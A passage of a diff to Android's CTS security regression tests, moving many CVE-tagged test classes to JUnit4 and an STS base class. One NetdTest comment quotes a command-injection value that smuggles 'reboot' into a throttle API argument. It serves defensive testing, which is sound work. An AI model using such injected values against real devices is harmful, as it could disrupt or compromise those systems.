+ flags & O_NOFOLLOW);
+ } catch (ErrnoException | IOException e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3022b6c..2386053 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -18,7 +18,7 @@
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.security.KeyStore;
import java.security.cert.Certificate;
@@ -32,7 +32,13 @@
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
-public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase {
private X509Certificate[] loadCertificates(int resource) throws Exception {
CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
@@ -76,6 +82,7 @@
}
@AsbSecurityTest(cveBugId = 26232830)
+ @Test
public void testIntermediateVerification() throws Exception {
X509TrustManager tm = getTrustManager();
X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 26ab802..16c8905 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -19,13 +19,20 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class DecodeTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DecodeTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a large, corrupt BMP.
*
@@ -33,8 +40,9 @@
* decode.
*/
@AsbSecurityTest(cveBugId = 34778578)
+ @Test
public void test_android_bug_34778578() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
@@ -46,8 +54,9 @@
* decode.
*/
@AsbSecurityTest(cveBugId = 67381469)
+ @Test
public void test_android_bug_67381469() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5aef702..2559094 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,7 +22,7 @@
import android.media.audiofx.PresetReverb;
import android.media.MediaPlayer;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.InstrumentationTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.nio.ByteBuffer;
@@ -31,7 +31,14 @@
import java.util.Arrays;
import java.util.UUID;
-public class EffectBundleTest extends InstrumentationTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class EffectBundleTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "EffectBundleTest";
private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
private static final int mValue0 = 9999; //unlikely values. Should not change
@@ -48,6 +55,7 @@
//Testing security bug: 32436341
@AsbSecurityTest(cveBugId = 32436341)
+ @Test
public void testEqualizer_getParamCenterFreq() throws Exception {
if (!hasEqualizer()) {
return;
@@ -58,6 +66,7 @@
//Testing security bug: 32588352
@AsbSecurityTest(cveBugId = 32588352)
+ @Test
public void testEqualizer_getParamCenterFreq_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -67,6 +76,7 @@
//Testing security bug: 32438598
@AsbSecurityTest(cveBugId = 32438598)
+ @Test
public void testEqualizer_getParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -76,6 +86,7 @@
//Testing security bug: 32584034
@AsbSecurityTest(cveBugId = 32584034)
+ @Test
public void testEqualizer_getParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -85,6 +96,7 @@
//Testing security bug: 32247948
@AsbSecurityTest(cveBugId = 32247948)
+ @Test
public void testEqualizer_getParamFreqRange() throws Exception {
if (!hasEqualizer()) {
return;
@@ -95,6 +107,7 @@
//Testing security bug: 32588756
@AsbSecurityTest(cveBugId = 32588756)
+ @Test
public void testEqualizer_getParamFreqRange_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -105,6 +118,7 @@
//Testing security bug: 32448258
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testEqualizer_getParamPresetName() throws Exception {
if (!hasEqualizer()) {
return;
@@ -114,6 +128,7 @@
//Testing security bug: 32588016
@AsbSecurityTest(cveBugId = 32588016)
+ @Test
public void testEqualizer_getParamPresetName_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -155,6 +170,7 @@
//testing security bug: 32095626
@AsbSecurityTest(cveBugId = 32095626)
+ @Test
public void testEqualizer_setParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -171,6 +187,7 @@
//testing security bug: 32585400
@AsbSecurityTest(cveBugId = 32585400)
+ @Test
public void testEqualizer_setParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -187,6 +204,7 @@
//testing security bug: 32705438
@AsbSecurityTest(cveBugId = 32705438)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -197,6 +215,7 @@
//testing security bug: 32703959
@AsbSecurityTest(cveBugId = 32703959)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -207,6 +226,7 @@
//testing security bug: 37563371 (short media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -217,6 +237,7 @@
//testing security bug: 37563371 (long media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -227,6 +248,7 @@
//Testing security bug: 63662938
@AsbSecurityTest(cveBugId = 63662938)
+ @Test
public void testDownmix_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,6 +265,7 @@
//Testing security bug: 63526567
@AsbSecurityTest(cveBugId = 63526567)
+ @Test
public void testEnvironmentalReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,6 +286,7 @@
//Testing security bug: 67647856
@AsbSecurityTest(cveBugId = 67647856)
+ @Test
public void testPresetReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
@@ -478,36 +502,39 @@
UUID effectType, final int paramCodes[]) throws Exception {
boolean effectFound = false;
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- if (descriptor.type.compareTo(effectType) != 0) continue;
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ if (descriptor.type.compareTo(effectType) != 0) continue;
- effectFound = true;
- AudioEffect ae = null;
- MediaPlayer mp = null;
- try {
- mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
- java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class);
+ effectFound = true;
+ AudioEffect ae = null;
+ MediaPlayer mp = null;
try {
- ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
- /*priority*/ 0, mp.getAudioSessionId());
- } catch (Exception e) {
- // Not every effect can be instantiated by apps.
- Log.w(TAG, "Failed to create effect " + descriptor.uuid);
- continue;
- }
- java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class);
- for (int paramCode : paramCodes) {
- executeSetParameter(ae, command, intSize, 0, paramCode);
- executeSetParameter(ae, command, 0, intSize, paramCode);
- }
- } finally {
- if (ae != null) {
- ae.release();
- }
- if (mp != null) {
- mp.release();
+ mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+ java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class);
+ try {
+ ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
+ /*priority*/ 0, mp.getAudioSessionId());
+ } catch (Exception e) {
+ // Not every effect can be instantiated by apps.
+ Log.w(TAG, "Failed to create effect " + descriptor.uuid);
+ continue;
+ }
+ java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class);
+ for (int paramCode : paramCodes) {
+ executeSetParameter(ae, command, intSize, 0, paramCode);
+ executeSetParameter(ae, command, 0, intSize, paramCode);
+ }
+ } finally {
+ if (ae != null) {
+ ae.release();
+ }
+ if (mp != null) {
+ mp.release();
+ }
}
}
}
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
index 8fe8054..0ceee07 100644
--- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -16,7 +16,6 @@
package android.security.cts
-import android.app.Instrumentation
import android.graphics.Rect
import android.os.SystemClock
import android.platform.test.annotations.AsbSecurityTest
@@ -34,8 +33,8 @@
import androidx.test.ext.junit.rules.ActivityScenarioRule
import androidx.test.ext.junit.runners.AndroidJUnit4
import androidx.test.filters.MediumTest
-import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.PollingCheck
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNull
@@ -115,8 +114,7 @@
* test code. The third approach requires adding an embedded window, and the code for that test was
* forked to avoid excessive branching.
*/
-class FlagSlipperyTest {
- private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+class FlagSlipperyTest : StsExtraBusinessLogicTestCase {
private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
private lateinit var windowManager: WindowManager
@@ -132,10 +130,12 @@
val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
SlipperyEnterBottomActivity::class.java)
+ constructor() : super()
+
@Before
fun setup() {
scenario = rule.getScenario()
- windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+ windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>(
WindowManager::class.java)
setDimensionsToQuarterScreen()
@@ -156,7 +156,7 @@
// ========================== Regular window tests =============================================
private fun addWindow(slipperyWhenAdded: Boolean): View {
- val view = View(instrumentation.targetContext)
+ val view = View(getInstrumentation().targetContext)
scenario.onActivity {
view.setOnTouchListener(OnTouchListener(view))
view.setBackgroundColor(android.graphics.Color.RED)
@@ -220,7 +220,7 @@
private lateinit var mVr: SurfaceControlViewHost
private fun addEmbeddedHostWindow(): SurfaceView {
- val surfaceView = SurfaceView(instrumentation.targetContext)
+ val surfaceView = SurfaceView(getInstrumentation().targetContext)
val surfaceCreated = CountDownLatch(1)
scenario.onActivity {
surfaceView.setZOrderOnTop(true)
@@ -247,7 +247,7 @@
embeddedViewDrawn.countDown()
}
layoutCompleted.set(false)
- val embeddedView = View(instrumentation.targetContext)
+ val embeddedView = View(getInstrumentation().targetContext)
scenario.onActivity {
embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
embeddedView.setBackgroundColor(android.graphics.Color.RED)
@@ -340,7 +340,7 @@
PollingCheck.waitFor {
layoutCompleted.get()
}
- instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+ getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/)
}
private fun setDimensionsToQuarterScreen() {
@@ -360,7 +360,7 @@
}
val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
event.source = InputDevice.SOURCE_TOUCHSCREEN
- instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+ getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/)
}
companion object {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 60b329f..91e39e8 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,7 @@
*/
package android.security.cts;
+import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -25,14 +26,21 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.IIsolatedService;
import android.security.cts.IsolatedService;
-import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import com.android.internal.util.ArrayUtils;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.After;
-public class IsolatedProcessTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class IsolatedProcessTest {
static final String TAG = IsolatedProcessTest.class.getSimpleName();
private static final long BIND_SERVICE_TIMEOUT = 5000;
@@ -65,15 +73,20 @@
}
};
- @Override
+ private static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ @Before
public void setUp() throws InterruptedException {
mLatch = new CountDownLatch(1);
- Intent serviceIntent = new Intent(mContext, IsolatedService.class);
- mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+ Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class);
+ getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
Assert.assertTrue("Timed out while waiting to bind to isolated service",
mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetCachedServicesFromIsolatedService() throws RemoteException {
String[] cachedServices = mService.getCachedSystemServices();
@@ -83,6 +96,7 @@
}
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetServiceFromIsolatedService() throws RemoteException {
for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
@@ -92,14 +106,15 @@
}
}
+ @Test
public void testGetProcessIsIsolated() throws RemoteException {
Assert.assertFalse(Process.isIsolated());
Assert.assertTrue(mService.getProcessIsIsolated());
}
- @Override
+ @After
public void tearDown() {
- mContext.unbindService(mServiceConnection);
+ getInstrumentation().getContext().unbindService(mServiceConnection);
}
}
diff --git a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
index ecf8acc..65eb132 100644
--- a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
@@ -22,24 +22,31 @@
import android.content.res.Resources;
import android.media.MediaMetadataRetriever;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.IOException;
-public class MediaMetadataRetrieverTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.After;
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaMetadataRetrieverTest extends StsExtraBusinessLogicTestCase {
protected Resources mResources;
protected MediaMetadataRetriever mRetriever;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mResources = getContext().getResources();
mRetriever = new MediaMetadataRetriever();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ @After
+ public void tearDown() throws Exception {
mRetriever.release();
}
@@ -53,6 +60,7 @@
}
}
+ @Test
@AsbSecurityTest(cveBugId = 24623447)
public void testID3v2EmbeddedPicture() {
setDataSourceFd(R.raw.id3v2_3_extended_header_overflow_padding);
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index b427516..4b8b178 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -18,16 +18,24 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.io.File;
-public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase {
/**
* b/27855172
*/
+ @Test
@AsbSecurityTest(cveBugId = 27855172)
public void test_cve_2016_2499() throws Exception {
MediaRecorder mediaRecorder = null;
diff --git a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
index 2d2e084..83ce8ff 100644
--- a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
@@ -24,7 +24,7 @@
import android.os.Environment;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import com.android.compatibility.common.util.MediaUtils;
@@ -38,7 +38,16 @@
import android.security.cts.R;
-public class MediaServerCrashTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.After;
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaServerCrashTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "MediaServerCrashTest";
private static final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message";
@@ -49,9 +58,8 @@
private final ConditionVariable mOnPrepareCalled = new ConditionVariable();
private final ConditionVariable mOnCompletionCalled = new ConditionVariable();
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mFlFilePath = new File(getContext().getFilesDir(), "temp.fl").getAbsolutePath();
mOnPrepareCalled.close();
@@ -83,12 +91,12 @@
});
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ @After
+ public void tearDown() throws Exception {
new File(mFlFilePath).delete();
}
+ @Test
@AsbSecurityTest(cveBugId = 25070434)
public void testInvalidMidiNullPointerAccess() throws Exception {
testIfMediaServerDied(R.raw.midi_crash);
@@ -115,16 +123,17 @@
}
}
+ @Test
@AsbSecurityTest(cveBugId = 25070434)
public void testDrmManagerClientReset() throws Exception {
checkIfMediaServerDiedForDrm(R.raw.drm_uaf);
}
private void checkIfMediaServerDiedForDrm(int res) throws Exception {
- AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(res);
+ AssetFileDescriptor afd = getInstrumentation().getContext().getResources().openRawResourceFd(res);
FileInputStream dmStream = afd.createInputStream();
RandomAccessFile flFile = new RandomAccessFile(mFlFilePath, "rw");
- if (!MediaUtils.convertDmToFl(mContext, dmStream, flFile)) {
+ if (!MediaUtils.convertDmToFl(getInstrumentation().getContext(), dmStream, flFile)) {
Log.w(TAG, "Can not convert dm to fl, skip checkIfMediaServerDiedForDrm");
mMediaPlayer.release();
return;
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 2ce1610..3ab3bb2 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -16,6 +16,8 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -24,13 +26,20 @@
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class Movie33897722 extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class Movie33897722 extends StsExtraBusinessLogicTestCase {
/**
* Verifies that decoding a particular GIF file does not read out out of bounds.
*
@@ -39,6 +48,7 @@
* color map, which would be reading memory that we do not control, and may be uninitialized.
*/
@AsbSecurityTest(cveBugId = 33897722)
+ @Test
public void test_android_bug_33897722() {
// The image has a 10 x 10 frame on top of a transparent background. Only test the
// 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +57,7 @@
}
@AsbSecurityTest(cveBugId = 37662286)
+ @Test
public void test_android_bug_37662286() {
// The image has a background color that is out of range. Arbitrarily test
// the upper left corner. (Most of the image is transparent.)
@@ -62,7 +73,7 @@
int drawWidth, int drawHeight) {
assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
- InputStream exploitImage = mContext.getResources().openRawResource(resId);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
Movie movie = Movie.decodeStream(exploitImage);
assertNotNull(movie);
assertEquals(movie.width(), screenWidth);
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
index 4f5754c..135d493 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -16,7 +16,6 @@
package android.security.cts;
-import android.test.AndroidTestCase;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
@@ -49,12 +48,23 @@
import android.util.Log;
import android.annotation.Nullable;
import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import static java.lang.Thread.sleep;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
@AppModeFull
-public class NanoAppBundleTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase {
+ private Context mContext;
private static final String TAG = "NanoAppBundleTest";
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -72,27 +82,27 @@
}
};
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = getInstrumentation().getContext();
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.startService(serviceIntent);
mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (mContext != null) {
Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
mContext.stopService(serviceIntent);
}
- super.tearDown();
}
/**
* b/113527124
*/
@AsbSecurityTest(cveBugId = 77599679)
+ @Test
public void testPoc_cve_2018_9471() throws Exception {
try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index c5a9bac..53c05c0 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -18,15 +18,22 @@
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
-public class NativeCodeTest extends TestCase {
+import static org.junit.Assert.*;
+
+@RunWith(AndroidJUnit4.class)
+public class NativeCodeTest extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
@AsbSecurityTest(cveBugId = 22300191)
+ @Test
public void testSysVipc() throws Exception {
assertTrue("Android does not support Sys V IPC, it must "
+ "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 14623fd..463d443 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -20,13 +20,17 @@
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import java.lang.Class;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-public class NetdTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetdTest extends StsExtraBusinessLogicTestCase {
/**
* Detect if netd has unsanitized system call in Throttle API.
@@ -34,6 +38,7 @@
* serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
*/
@AsbSecurityTest(cveBugId = 5758556)
+ @Test
public void testThrottleSanitization() {
try {
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index f810817..f68c097 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -16,20 +16,27 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.graphics.SurfaceTexture;
import android.hardware.camera2.params.OutputConfiguration;
import android.os.Parcel;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
import android.util.Size;
import android.view.Surface;
import android.view.TextureView;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
/**
* Verify that OutputConfiguration's fields propagate through parcel properly.
*/
-public class OutputConfigurationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 69683251)
+ @Test
public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index 5b4e530..d2d70d8 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -16,7 +16,8 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.*;
+
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
@@ -26,13 +27,21 @@
import android.os.Bundle;
import android.os.Parcel;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.lang.reflect.Field;
-public class ParcelableExceptionTest extends AndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 65281159)
+ @Test
public void test_CVE_2017_0871() throws Exception {
String filePath = "/data/system/" + System.currentTimeMillis();
File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 2bf7a85..4667859 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -17,10 +17,18 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Method;
-public class PutOverflowTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
